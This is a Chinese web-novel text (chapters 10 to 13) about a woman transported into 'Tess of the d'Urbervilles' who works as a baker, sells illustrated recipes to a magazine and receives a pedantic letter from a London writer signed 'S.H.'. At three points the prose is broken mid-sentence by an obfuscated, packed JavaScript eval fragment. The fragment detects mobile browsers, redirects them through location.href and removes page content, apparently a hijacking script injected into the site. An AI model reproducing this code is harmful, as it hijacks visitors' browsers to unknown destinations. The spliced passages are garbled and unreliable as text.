原来的剧情本来就没有伊莱莎-露易莎的事儿，她完全可以撒手不管，为什么要参与进去呢？ 就像一个读者一样看下去，有什么不好的？ 接下来会发生的事跟她有关吗？ 约翰·德伯菲尔德死了，家里纵然失去了一个经济支撑，但是也少了一个麻烦。 他死了，苔丝就可以“顺理成章”地去当德伯维尔的情妇，养活这一家子老弱妇孺的包袱也可以卸掉了。 最后，苔丝会死，她会跟安吉尔·克莱尔在一起，但是她也可以不答应啊，她现在的收入养活自己绰绰有余了。 她为什么要把自己当成伊莱莎，想把养活全家人的重担接到自己身上呢？ 成为伊莱莎也不是她可以选择的事，她凭什么不能冷眼旁观这场压榨，这个处决？ 从法律的角度讲，苔丝杀了人，以命偿命，是应该的；从文学的层面来看，她的死是一种象征，一个对时代虚伪道德的挑战，从美学意义到技巧安排再到道德隐喻，这些分析足够写一篇硕士论文——多么有价值的死。 她为什么忍受不了看着这个纯洁的女人死掉，就连创造她的人——作者，她精神上的父亲，毫无疑问也是爱她的，但还是毫不留情地安排她死掉了。 伊莱莎深吸一口气，从口袋里扯出手帕，把脸上的泪水擦干。 在晚上容易情绪过激，这是人类的通用毛病，再正常不过的一件事。 她把写了“斯托克”的纸揉成一团，往桌上一扔，打算吹灭蜡烛。 吹灭……毁灭…… 直到你被毁灭……速速地灭亡。 牧师讲道时说的几句话在她脑海里冒出来，伊莱莎展开揉皱的纸团，在上面匆忙地写了几行字。 “你要去牧师宅？哇噢，伊莱莎，看来我们烤面包的时候得分点儿白垩粉给你，让你擦一擦脸。”山姆语气夸张地开了一个行业的玩笑。 以前小麦粉价格还没这么低的时候，工业城镇里竞争激烈的面包坊会往小麦粉里面掺白垩土，来降低成本。 诚实的乡村面包师们对这种造假的行为当然很鄙夷。 “有这么严重吗？”伊莱莎借着玻璃的反光照看自己的脸，此时窗外尚且一片漆黑，她把五官看得清清楚楚，但是在色彩上就不是那么明显了。 帕夫太太走过来捧起她的脸，凑近观察了她的眼下，安慰她：“这没什么，是因为你太白了，眼睛下面看着才有点黑。对了，你今天怎么想起要去克莱尔先生家送面包？” 伊莱莎叹气：“听说克莱尔先生的小儿子在巴西，我母亲的一个朋友也想去看看，就托我去打听一下。而且……我可能得罪了常蒂小姐，想去登门再解释一下。” 大家都默契地没有问她是怎么得罪了人。 话少的派克安慰她：“常蒂小姐的脾气很好，除了教书的时候有些严厉，其他时间很好说话，不管是跟她的学生还是跟佣人都不会摆架子。过圣诞节的时候她还给每个学生都送了用彩带装饰的蜡烛，还有姜糖饼干。” 看来他对常蒂小姐的学生有些过分关注，伊莱莎八卦地想。 克莱尔太太不怎么关注这些八卦。 但她对这个乡村姑娘记忆深刻，除去她那做得太美味以至于诱惑他们违背一向谨守的戒律的糕点外，她的容貌和并不与之匹配的出身也让人有些担心。 听说她在井桥的磨坊工作，与她共事的有帕夫太太，那是一个虔诚的信众。有这种正派人在身边，多少让人觉得放心了些。 克莱尔先生去邻镇的乡下处理事务，不在家里。 对伊莱莎的说辞没有丝毫怀疑的克莱尔太太把安吉尔的地址告诉了她，还贴心地写在了纸条上。 离开爱明斯脱的牧师宅，伊莱莎饶有兴致地观察邻居常蒂家的花圃里精心搭配的半边莲、乌头、日本银莲花和毛地黄，可惜作为主花的秋英已经开过了季，这些作陪衬的半耐寒植物只能无聊地栖息在树荫下。 她在一株木芙蓉下站了一会儿，看见常蒂小姐抱着一本宽大的祈祷书和几本细长的小开本书，从宽阔的大路上拐进家里。 伊莱莎在铁门边摁响了铜铃，女仆像上次那样把她引进了客厅。 常蒂小姐对她的拜访有些惊讶，虽然她藏得很好，神态亲和地对她打招呼。 伊莱莎很刁钻地想，常蒂小姐是不是以为靴子出了什么问题，她是来上门讹人的。 毕竟她上次的语气挺不友好的。 “常蒂小姐，日安。”伊莱莎客气地说，“关于上次靴子那回事儿，我很抱歉。当时我的言辞有些过激了，毕竟你们并不知道真实的情况，是出自一片善心才把靴子提走的。” 常蒂小姐连连摆手：“不，不用道歉，这应该让我说才对。没有询问就拿走别人的东西，还恶意揣测一个善良的人，这件事明明是我们的过错……说起来，我应该对那个从恰克牛顿过来做礼拜的人当面道歉的。” 常蒂太太去世很多年了，常蒂先生又经常去教区布道，还未出嫁的小女儿常蒂小姐一个人待在家里，养成了一副略带天真的脾性。 跟她谈话不需要太多的社交技巧，虽然伊莱莎本身也没有多少口舌上的才华。她很快略过上次的龃龉，展开了新话题：“上次圣诞节我们送来的姜饼怎么样？” “这次用了新配方，姜换成了西印度群岛产的糖姜，不知道合不合您的胃口呢？”伊莱莎补充道。 “非常好，”她回想起圣诞的记忆，姜饼淡淡的黑糖味和浓郁的肉桂香仿佛还在鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165180|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端飘扬，“这让我想起了我姐姐，有一年她陪一位贵族小姐去意大利游学，回来之后给我做的姜饼也是这种味道。” 常蒂小姐有些苦恼：“我自己也按照配方尝试过，明明是一样的东西，我还仔细称过重，把它们都放进碗里搅拌，但是烤出来的姜饼很糟糕，像砖头一样硬。” 伊莱莎憋笑，常蒂小姐可能真的没怎么接触过厨房的事儿，她大概是把材料一股脑地放进一个碗里了。 “嗯，我想……这些材料可能处理得不够细碎，你知道的，小姐，我们做糕点的时候总是要把它们磨得跟粉末一样细。” 关于姜饼的美好回忆融化了生疏的氛围，常蒂小姐好奇地问：“这个应该不涉及商业机密吧，就是像报纸上说的……配方需要保密。告诉我，亲爱的，是什么味道这么敏锐，简直能把我的舌头穿透，但是又带着清新的芳香——不过其他人都没怎么尝到这个味道，我只好自己一个人使劲儿地猜。” 好敏锐的味觉！ 伊莱莎有些讶异地挑眉：“我猜可能是一些新鲜的柠檬起了作用，把它们的外皮轻轻地磨碎了，跟肉桂粉一起放进去，搅拌均匀。我只放了一丁点儿，您的舌头真是非常灵敏。” 可惜常蒂小姐没有把当厨师纳入职业规划里的打算。 她像是突然想到了什么，对伊莱莎说：“你的改良配方完全可以向杂志投稿，很多家政杂志都收这样的投稿，而且他们在稿费上给得很麻利——你当然是会写字的吧？” 教师的职业病犯了，伊莱莎对此锐评。她点点头：“会写的。” 常蒂小姐摇铃让女仆拿来了一个和几本杂志，她翻开本子，在上面写了好几个杂志社的地址，然后把它们一起递给了伊莱莎。 “这个本子我买来是做剪贴本的，去年圣母节卡斯贝特——克莱尔先生送了我一个新的本子，它就被我放在书柜里，一直没用了。” 其实你不喊卡斯贝特这个名字反而欲盖弥彰了，伊莱莎想，傻子才看不出来呢。 常蒂小姐仍在絮叨，这个本子的纸张非常厚实，拿来当稿纸是再好不过了，怎么涂改也不会破。这几本杂志呢，都会刊布一些生活相关的文章，而且杂志社在稿费上也不会拖欠， 她热情的样子恨不得伊莱莎当场把食谱写下来，再喊来邮差去投递，等上半刻钟，杂志社就来了回信，说愿意发表，然后到了第二天，就能买到新刊。 这个姑娘确实很适合当老师。 伊莱莎惭愧地表示她忘记了步骤，需要回去再翻阅一下笔记，并且向她保证一定会投稿，有了进度也会第一时间来告诉她。 常蒂小姐最后叮嘱她：“在文辞上可以参考写洋地黄的那一章，写得很优美。” 从常蒂家离开之后，她沿着大路走了一会儿，再走到石桥的桥头，靠着桥墩翻看这几本杂志。 这还是她穿越过来第一次看这个时代的印刷物——德伯菲尔德家的祈祷书不算。 洋地黄…… “我的心脏爱上了静谧的死亡”？ 一首浪漫主义的抒情诗——常蒂小姐不会让她模仿这个吧？ “常见的有毒植物中……洋地黄的生叶……仅用三格令的生药也可能致人死亡……心脏在狂欢中力竭抽搐……” 伊莱莎翻回封面再次确认杂志的名字，这是应该出现在一本生活类杂志上的文章吗？ 这篇文章在严谨和科普性上值得称道，但是它跟文辞优美的关系就像它跟生活小妙招的关系一样亲近。 她好奇地看了看署名，S.H. 11. chapter11 你要何时去伦敦 “做姜饼不用判断黄油的打发程度，相对来说，对厨房新手比较友好……根据低粉吸水程度的不同，可以适量加入蜂蜜进行调节……丁香与多香果粉的通用量是两茶匙，读者可以在口味爱好上进行增减。” 伊莱莎蘸了点墨水，继续写：“尽管如此，芫荽籽粉和茴香籽粉不宜过多，最好不要超过一茶匙的分量。” “毕竟这是在家庭厨房里，而不是在街头小贩的摊位边上，我们没必要为了向顾客展示他们的钱花得有多划算而使劲儿地放调料……在良好的卫生条件下，笔者相信用手去搅拌比通过刮刀进行翻拌会更好地掌握面团的延展程度。” 她信手在边栏空白的地方画了一双手揉搓面团的示意图。 “上帝啊！”她反应过来这不是一便士一扎的信纸，低声骂了句。 之前从食谱书上面做摘抄的时候她就喜欢这样涂鸦，画一些重要的香料植物的花序和叶子在旁边，提醒自己做好区分不要弄混。 算了，就当草稿吧。 伊莱莎继续写：“饼干的糕体更薄，对温度的容差……” 容差这个单词怎么写来着？ 她换了个啰嗦的说法：“对温度偏差的容忍度也就更低，烘焙饼干最适宜的温度需要读者自己多尝试几次，对比之后才能得到最好的结果。笔者在下面根据不用的季节和湿度给出不同的参考温度……” 伊莱莎长呼一口气，仔细检查自己有没有语法错误，这个时代的英语跟她后世学的在一些表达上有些差异，但整体上区别不大。 穿越过来之后她写过好几封信了，还没有哪次像这样这么累过。 再次检查了一遍，伊莱莎抽出一张空白的稿纸，打算把食谱誊抄上去。 这个本子的纸质很厚实，拿来当稿纸真是浪费了。 不过…… 她看了看纸上的涂鸦，为什么不能留下来呢？ 杂志都有专业的插画师配图，也有人给自己写的诗配上图画，但是这种指示性的流程配图还没怎么见到过，她为什么不可以试试？ 虽然她的画工比不过专业的插画师，但是她的线条还是蛮灵动的嘛。 伊莱莎一边自我陶醉一边抄写了几个副本，再把要寄出去的稿子从本子上拆下来，她的木柄裁纸刀对付这种厚纸不太利索，裁切的时候要仔细点儿。 给信封滴上封蜡之后，地平线正吞没了最后一丝余晖，她从窗外望出去，只能看见远山模模糊糊的黑影。 伊莱莎走到窗边，倚着木框，闭眼倾听自然的交响乐，风吹过原野，灌木和乔木的叶子摇晃着发出窸窣的声音，还有频率稳定得让人心安的淙淙流水，她的心境变得十分安宁。 写东西、画画、给人们烘焙食物，做这些事情都会让她感到幸福。 没有手机，没有网络，没有娱乐，甚至连小说都没得看，任何一个现代人都不会习惯这种可怕的落差。 但伊莱莎在成为伊莱莎之后，竟比从前享受到了更多的幸福。 她用刮刀把烛台上的烛油刮下来，堆在一起，点燃了一只明亮的新蜡烛。 重新坐回桌前，在常蒂小姐送她的新本子上面写道：“妈妈。” 伊莱莎深吸一口气，继续写：“我还是很想你，很想很想和你再见一面，但是现在，我已经不那么悲伤了。” 她出神地凝视着这不合时宜的东方文字，最后在篇首写下一行字。 1887年1月1日，星期六，天气：晴转阴。 “啊！这天气真够让人糟心！”帕夫太太解下挡风的斗篷，挂在衣帽架上。 她下午去集市上找人补她的一件羊羔皮外套了，到现在才回来。 帕夫太太在口袋里翻出来一朵花儿，递给伊莱莎，是一朵用黄丝带叠的玫瑰。 “是圣诞节没卖出去的花儿，我从集市上回来的时候刚好碰到他们在处理这个，就买了一朵，你们这些小姑娘就喜欢这玩意儿。” 这朵丝带玫瑰比圣诞最常见的纸玫瑰要精致许多，当然不会是处理品。 帕夫太太把它当成一个善意的小礼物，倒不是指望伊莱莎回个相同价值的东西。 伊莱莎明白这是纯粹的善意，她可以熟练地装出感动的样子用社交方式致谢，可这也太虚伪了。 她多少摸清楚了帕夫太太冷硬面容下有颗多么柔软的心，于是她走过去搂住帕夫太太，亲密地蹭了蹭她的脖子。 帕夫太太被她缠得后退几步，只好警告地拍了拍她的背：“姑娘，想想你自己长得有多高吧！” 修长得像一棵柑橘树，可惜就是有些太瘦了。 帕夫太太的手掌划过伊莱莎浓密的头发，这头黄棕色的头发让人想到还没成熟的金桔。 今天一看到那朵黄玫瑰，伊莱莎就浮现在她脑海里。 她看着伊莱莎兴奋地去嗅闻那朵玫瑰，假装它真的香味扑鼻。 帕夫太太多少能理解小女孩们为什么如此热衷于打扮自己的玩偶娃娃了。 “等到开了春天气就会好很多的，冬天的天气就是这样多变嘛。”伊莱莎还没忘记她回来时的抱怨，开口安慰她。 “多塞特到了春天会很舒服，但是我估计伦敦是没法指望好天气的。”帕夫太太嘟囔着摇摇头。 伊莱莎耸耸肩，应和她：“是啊，报纸不是都管伦敦的雾叫毒气吗？” 她后知后觉反应过来：“帕夫太太，你下定决心要去伦敦了吗？” 帕夫太太的女儿多丽丝在伦敦的制伞厂工作，嫁给了一个高级马夫爱德华·琼斯，婚后生下了三个孩子。 死神夺走了多丽丝两个孩子的生命，就像当初夺走她其他兄弟姐妹的生命一样干脆。 在那之后她的精神就很糟糕，开始喝一点儿酒来让自己入睡。 刚开始她喝得很克制，但是睡前小酌很快进化到酗酒的地步，琼斯不得不到处去酒馆找妻子。 爱德华·琼斯不是普通的出租马车车夫，而是受雇于一个体面人的私人马车夫。 琼斯那个经营工程机械公司的雇主并不打算让一个酒鬼在自己眼皮子底下晃荡，他给自己的车夫介绍了一个靠得住的疗养院，把多丽丝送进去接受戒酒治疗了。 这差不多是一年半之前的事。 女儿被送进疗养院的那一天，帕夫太太还亲自去看过，那所疗养院并不像报纸里耸人听闻的报道一样虐待病人，或者把她们的尸体卖给医学院。 之后她也一直有收到女儿写来的信，从信的内容和字迹来看，多丽丝的神智恢复了很多。 “今年……不，是去年的圣高弗烈日之前，来信就断了。我给爱德华写信去问过，他向我保证多丽丝一切正常。” 她现在再谈起这件事，语气不那么痛苦了：“我放心不下，一直想去看看。但是一旦我走了，再回来的话，面包坊可能就不收人了。” 这几年小麦价格走低，面包的售价也好不到那里去。 加上面包坊更喜欢力气大的男人，拉德克里夫先生裁员的心蠢蠢欲动。 帕夫太太能在这里有个工作，主要还是得益于她的母亲是老拉德克里夫夫人的教女。 “幸好你来了，伊莱莎。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165181|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蛋糕甜品的利润可比单独卖面包高出不少，有了伊莱莎——和她带来的盈利，拉德克里夫先生对失去一个熟练的老手就不那么无所谓了。 “我跟拉德克里夫先生签的约到圣母节结束，山姆和派克也是，这次重新签的话工资估计要涨不少。拉德克里夫先生说他愿意给我保留这个位置，等我从伦敦回来。” 伊莱莎立马紧张地问她：“那你还会回来吗？” 帕夫太太岔开话题：“你的收入不低，但是花钱可不要太大手大脚，遇到那些跟你推荐分期付款的推销员尤其要当心，谨慎！不要听他吹得天花乱坠的，糊里糊涂就签了贷款合同……” 烛光跳动里，伊莱莎沉默着不说话，气氛一时间变得很沮丧。 “好啦姑娘，我得待到旧历圣母节才走呢，还有四个多月，到时候可能你烦我了，巴不得我赶紧走。” 帕夫太太知道她性格上有点儿过于刻板了，不招人喜欢，某些时候她说的话不动听，可她偏偏得说。 她倒是没想到伊莱莎这样年轻的小姑娘会跟她处得来。 旧历圣母节是什么时候来着，好像是四月六日？ 伊莱莎开始回忆她爹被安排好的死亡日期…… 记不太清了，总之肯定是在五月前，因为作者故意把开头和结束都设置在同个时间。 现在她的周薪是13先令，干到4月，她能存下11镑，再加上她现在手头还剩下的2镑，给家里人找个地方住绰绰有余了。 家里虽然劳动力不多，但是花销也不大。 安顿好他们，她也可以去伦敦看看了。 伊莱莎的伦敦计划尚未成形，伦敦的来信已经送到了她手上。 “亲爱的D小姐，您好！你的文章《如何调节姜饼的不同风味》已通过终审……将刊登在……感谢您的来稿……” ——第一次投稿就过稿了，她是不是该兴奋一下？ 伊莱莎把过稿通知随手扔到桌上，抽出剩下的支票。 哇哦…… 8先令。 这个杂志还真是慷慨。 要知道她的稿子是按篇而不是按字数算的。 伊莱莎翻回那张被她丢到一旁的通知，上面说这是因为把她配的插图也一起算进去了，希望她下次投稿也能带上插画，并且把插画放大一点画到另一张纸上。 好吧，选择比努力重要，美食书画家也是交叉职业潮流前沿嘛。 不想当画家的厨师不是一个好的美食作家。 如果没有稿子，信在最后还补充说，画一些家政工作的温馨插图也可以寄过来。 虽然她的画工比不上专业插画师——当然杂志给的报酬也比不上，但是很符合杂志的调性。 你们杂志的调性是什么？ 探讨常见有毒植物的毒性剂量这种生活小妙招？ 伊莱莎对那篇别出心裁的科普文章印象深刻。 她下次要不要写一个关于石龙芮的毒性科普，再附上这种别名野芹菜的毒草和欧洲芹菜的区别呢？ 从桌屉里拿出那本已经积攒得很厚一沓的食谱测验记录，她翻了翻，挑出了橙香松饼这一张，放在稿纸上。 面包坊主要是卖需要用烤箱制作的甜品，松饼可以直接用小锅煎，不在他们的供应范围内。 伊莱莎在炉子上煎了几块南瓜厚松饼，撒上糖粉，又用蜜豆在上面摆了一个花朵的图案，打包装进餐篮里。 她的火候把握得好极了，伊莱莎确信，等她走到常蒂小姐家，这块松饼的芝士流心一定是冷却凝固到刚刚好的程度。 12. chapter12 见信如唔 除去伊莱莎，常蒂家还有另一个让常蒂小姐开心的客人。 走进会客厅时，伊莱莎下意识观察了一下女仆挂衣服的衣帽架，除了常蒂小姐蓝灰色的宽檐呢帽，卡斯贝特·克莱尔那顶圆顶帽也挂在旁边。 她照常先向常蒂小姐问好，又向卡莱尔先生行了个礼。 “伊莱莎，你来啦！”常蒂小姐开心地向她打招呼，在她看来，伊莱莎也算是她的半个学生了。 常蒂小姐挥手时衣袖送来淡淡的香味，是薰衣草、杜松子和绵郁持久的安息香的混合气息，通常来说，用这瓶香水代表她心情格外地好。 伊莱莎垂下眼帘：“我收到了《城市生活杂志》的回信，编辑说我的投稿通过了。” 常蒂小姐小小地欢呼了一声。 “多亏了常蒂小姐你的帮助，要是没有你的提醒，我连《城市生活杂志》是什么东西都不知道呢。所以我做了些南瓜松饼送过来，请你尝尝。” 伊莱莎把女仆摆在盘子里的糕点推向她，“还有你借我的杂志，我顺便也拿过来了——诶，里面的芝士是流心的，吃的时候请小心别弄脏了衣服。” 常蒂小姐分了块松饼给一旁的克莱尔先生，伊莱莎余光撇到他接过时犹豫了几分，还看了自己好几眼。 显然，他对伊莱莎和常蒂小姐飞速发展的友好关系感到惊讶。 伊莱莎倒是不意外他会出现在这里，但她的抵触心理反而比被她落过面子的克莱尔还要厉害。 你欣赏的女孩总会找一个你看不上的男人，这是一个亘古不变的真理。 古典学者、剑桥大学的荣誉校友兼学监卡斯贝特·克莱尔是克莱尔先生的二儿子，他的性格不如他的父亲老克莱尔先生那么强硬，更加解放，但并不说明他对异见有多么包容。 对他来说，文明社会的中心就是剑桥大学，掌控世界运转法则的机构就是学术会议，至于那些不属于大学的化外之民，他既不想重视他们，也不愿尊敬他们。 他唯一能做的，就是无视和容忍。 化外之民伊莱莎凭借流心恰到好处的可口厚松饼，在卡斯贝特的世界里博得了一个更模糊的位置。 他夸赞伊莱莎：“如果你是个男人，第欧根尼俱乐部一定会抢着要你，我想他们愿意开出至少八十镑的年薪。伦敦这么多俱乐部里，没有一家的甜品比你做的更出色了。当然，如果索耶还在改/革俱乐部的话，那就要另当别论了。” 瞧瞧，多么动听的恭维！ 她也好想用自谦的口吻回复他，难道不是您去过的俱乐部太少了吗？我的厨艺实在不算什么，当不起您这么大的夸赞。 算了，看在常蒂小姐的份儿上，伊莱莎忍了。 “我以为俱乐部的绅士们不会很喜欢甜食呢，相比起来，他们不应该更爱酒吗？” 卡斯贝特摇摇头：“当然，当然。从圣詹姆斯街到蓓尔美尔街，没有一家俱乐部是不喝酒的。但是第欧根尼俱乐部除外，这个俱乐部是最不‘俱乐部’的俱乐部。我倒觉得叫读书会更好。” “那里的人不喝酒，也不说话，更不会演讲辩论——不过里面倒是有人很喜欢甜食。” 伊莱莎和颜悦色地捧场：“原来是这样，伦敦真是一个奇怪的城市，什么样的人都有呢，要是能去伦敦见识一下，一定很有意思。不过对我们乡下人来说，英格兰的乡村才是最美好的。” “山村居民，足食丰衣；有时把客人请到村里，于是铃声响遍各处，提琴奏出快乐的乐曲①……我和弥尔顿一样爱我们的田园。” 常蒂小姐诗兴大发引用了一句《快乐的人》，但她很快意识到了这个话题没办法进行下去，跟一个只接受了国立小学教育的乡村女孩聊诗歌，实在不够体贴。 她端起瓷杯，喝了一口红茶：“从我过往教授过的女孩的经历来看，每日或者数日诵读一些诗篇，对于提高她们在韵脚和和声上的感悟是大有裨益的……” 伊莱莎用警惕地目光盯着常蒂小姐，迅速出声掐断话头：“我想朗读圣经经文的效果也是一样的，尤其是跟着大家一起唱晨间圣歌，我姐姐最喜欢的就是唱雅歌的郎顿二部合唱。” “从前主日学校的老师还教我们用法语和德语唱过圣歌，听说伦敦很多德国移民，所有的外国人里面就数德国人最多了，他们礼拜的时候唱圣歌也还是用德语吗？” “如果他们还跟德国教会教堂保持联系的话，大概还是会用德语吧。”克莱尔先生从桌上拿起信件，打算继续伊莱莎进来之前的对话。 他弹了弹手中展开的信件，那一沓纸实在有些厚：“瞧瞧，这封来信也是在讲德语圣经呢。” 这封信递给了常蒂小姐，克莱尔先生无所谓地说：“没有什么私人谈话，都是关于学术的交流。” “来信的先生机缘巧合购到了一本古书，黑体活字印刷，从扉页来看是在荷尔斯泰因出版的。是一本修道院神父们一同结集出版的论文集，相较于神学价值，这位朋友显然更注重它的文献价值，你看‘你们若不加悔改，都要如此灭亡……’这段除了能告诉我们一百多年前的一位排字工的谬误外，还能证明什么呢？” “对了，莫茜，我记得常蒂先生也有一本德语圣经古书，方便我借用一下吗？要是等我回帕克图书馆再去给他校对文字的话，对我们这位古怪的朋友来说就太冷酷了。” 伊莱莎很没眼色地凑过来：“这样奇特的字我还没见过呢！” “是草体，跟哥特式的印刷体不一样。”常蒂小姐看了一眼伊莱莎，又转头看克莱尔先生，“我见过的德国人日常就写这种字，这是你的一个德国朋友吗？” “不不不，”克莱尔先生摇头幅度大得不像一位绅士了，“他是个纯正的英国人……嗯，他性格有些古怪，也不热衷于社交，大家对他的了解之少就像对他的古怪名声知悉之多。” “听起来是一个很有意思的人。”常蒂小姐轻声说，她还在读这篇来信里对书本年代判断的剖析。 伊莱莎见缝插针：“先生，我想你应该不介意我把这段德文抄下来吧？我认识一个讲道团的朋友，总是在做完礼拜之后为上帝服务，提着油漆桶到处去刷标语。我想把这些德文的圣经变体给他看看，他应该会很高兴的。” 克莱尔先生容忍地答应了，他还不忘接常蒂小姐的话：“噢，莫茜，如果你知道这个真知灼见的先生为了实验用棍子抽打尸体的话，你那颗仁慈的心也很难不生出一些尖锐的看法的。” 常蒂小姐放下信，跟克莱尔先生一同去书房拿书，伊莱莎趁机对着信纸开始细致地临摹，她特意关注了写信人的笔锋字迹，试图模仿得有十之八九相像。 两位有情人坐在书桌前喁喁私语，伊莱莎残忍地走过去向常蒂小姐告别。 她顺口寒暄：“常蒂小姐，你换了护发膏吗？” “不，不是，我们从杂货店小贩那里买到了一些快处理掉的假发，打算用发油整理一下。本来打算在圣烛节之前排一些仪式剧来玩玩儿……学习。” 常蒂小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165182|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐俏皮地眨眨眼，“不过效果有些失败。对了，伊莱莎，在棕枝主日之前你能来我家吗，我有一个学生很想认识你。” 伊莱莎有些犹豫地点了点头。 常蒂小姐的学生为什么想认识她？向她请教厨艺吗？ 伊莱莎回到磨坊，翻出日历，在上面给日期作了标记。 圣烛节、棕枝主日、圣母节…… 五月节，谋杀，绞刑，斯托克…… 她把那张摘抄了德语圣经的纸放进笔记本里，又抽出一张稿纸，给琼恩写信：“妈妈，家里最近一切都好吗？你之前告诉过我护发的一个方子，请把具体配方写下来告诉我，我想试试。” “爸爸身体还好吗，记得让他少喝些酒，冬天对他的身体来说很危险。家里还有钱用吗，买煤不要太吝啬了，我攒了一些钱，给你寄过来了。保重身体。我在旧历圣母节的时候可能会有假期，到时候也许会回来。” 如果是谋杀这种人为之事，伊莱莎或许可以改变。 但是她记得她那个爹是病死的呀！ 难道要她把约翰带去伦敦看病？ 她算是体会到帕夫太太纠结的万分之一了。 不管怎么样，伊莱莎还是想试一试，要是约翰没死，或者是在安吉尔回来之后再死，苔丝就不用委身亚历克·德伯维尔了。 那苔丝也就不会因为刺死德伯维尔被判刑。 这样一切就会不一样了。 她没必要把所有事都往最坏的方向想。 伊莱莎随信附上了两英镑，又在信里跟母亲强调一定要带不着调的父亲去看看医生。 寄出了家信之后，伊莱莎白天在磨坊潜心干活，晚上整理她的烘焙测验记录，以及那些“符合杂志调性”的重要配图，竟然没有感知到季节已经从暮冬变换到了仲春。 帕夫太太摘了一把带着露水的雏菊，插进她桌上的小木筒里：“这样看上去就更像一位女作家了。” 伊莱莎苦笑：“我要是算得上作家的话，那整个大不列颠都遍布文豪了。” 几封信放到了她的桌上，是帕夫太太顺手给她带上来的。 伊莱莎饶有兴致地拆了苔丝的信，很简短，大概是说她工作很忙，没什么时间写信，请小莉兹见谅。 她直觉苔丝的心情不太好。 下一封是琼恩的信，除了关心伊莱莎根据温度变换注意增减衣服外，没什么其他值得关注的。哦，对了，这封是亚伯拉罕代笔写的。 剩下的两封，伊莱莎先拆开是地址熟悉的杂志社的那一封，果然是通知她她的稿子通过了。 信上夸赞她的语言虽然不够华美优雅，但是简练而精准，富有指导性，而且配图的南瓜松饼画得十分可口，尤其是有流心的那一张，建议她以后可以多画甜品的剖面图。 最后这封信还补充了一下：您的那篇关于野芹菜和欧洲芹菜的小文章过于戏剧化了一些，稿子拒了，但是配图我们接受。 好吧……有要求总比被拒稿强。 伊莱莎好奇地看了看剩下的那封，邮戳是伦敦卡姆登区。 她有结识过伦敦的人吗，还是说这是写给原来的伊莱莎-露易莎的信？ 鉴于这封信跟杂志社是一同寄到的，她大概猜测这是……读者来信？ 是夸她的呢，还是炸了厨房写信来骂她的？ 一行锋锐的字迹映入她的眼睛：“亲爱的D小姐，我不得不失礼地向你指出你为我的文章配的插图上出现了的三个错误……” 13. chapter13 一个抽烟的事儿精男人 “首先是最容易混淆的地方，野芹和水芹的幼小时期的植株形态的相似程度会迷惑采摘者。除去气味这样难以具体展现的东西，对二者进行区分主要是通过观察叶片……D小姐描画的叶片在艺术价值上固然值得称道，但是在表现水芹的二回复叶时，很不幸地将版面右下茎秆的第二片叶子画成了单叶……” “第二，在描绘野芹的黄色小花上，左下第二朵花茎上的花瓣变成了四片……” “最后，鄙人建议把那个作装饰用的、介于意大利蜂和熊蜂之间的未发现物种蜜蜂删掉，D小姐的画作笔墨精妙，抹去这一个在物种图鉴内找不到一席之地的蜜蜂图像对插图的精美程度毫无影响。” 《科普世界》的信怎么寄到她这里来了？ 伊莱莎一边腹诽一边想要翻杂志试图确认，找了一会儿之后她突然想起来，为了再薅点羊毛，她直接让杂志把样刊折现汇给她了。 等等……她抽出信的下一页，这个贴心的作者来信还给她附上了杂志页的裁页，用蓝墨水笔特意把他提到的问题圈了出来。 她该说什么好呢，真贴心？ 伊莱莎逐条对比，第一个错误倒不是她的错误，是石板印刷工在调节她的叶片尺寸时出现了一点小失误，专业的插画师一般会跟技工保持亲密的沟通来避免这种失误。不过她的插图线条简单，分色也很少，就免去了这部分交流。 花瓣，她确实误把五片画作了四片，而且很不幸，经过放大之后更明显了。 至于蜜蜂，好吧，她不得不承认，她主要是靠对童话书残留的印象来画的。 显然，杂志把她那篇玩笑式的仿浪漫主义诗歌科普拙作给毙了，但是收了她给野芹和水芹画的配图，附到了这位先生的文章里。 这违反了《安妮法案》吗，还是《出版法》之类的？ 然而她这个乡村土丫头只是一个绝望的法盲……这个先生大概以为她是专业负责供稿的插画师，才写信给她指出错误，但这种纰漏不应该告诉编辑吗？ 她继续读这封足有三大页信纸的信，发现让这位先生如此长篇大论给她指出纰漏的大概不是这个原因。 “日理万机的编辑迂回地无视了我的更正请求，并把D小姐您的通讯地址发给我，让我跟您商议，借此回绝我。我不得不寄出这封惹人生厌的信件，并且还要冒昧地请求您重新绘图，尺寸……” 伊莱莎转身背对窗户，把这封信举高到眼前，让光明明白白地照亮它，“至于更正声明所需的版面费和D小姐改稿的稿费，由我一应承担。S.H.” 真是…… 真是奇怪的一个人。 伊莱莎在“事儿很多”与“严谨体贴”之间纠结半天，最后只好用古怪来总结。 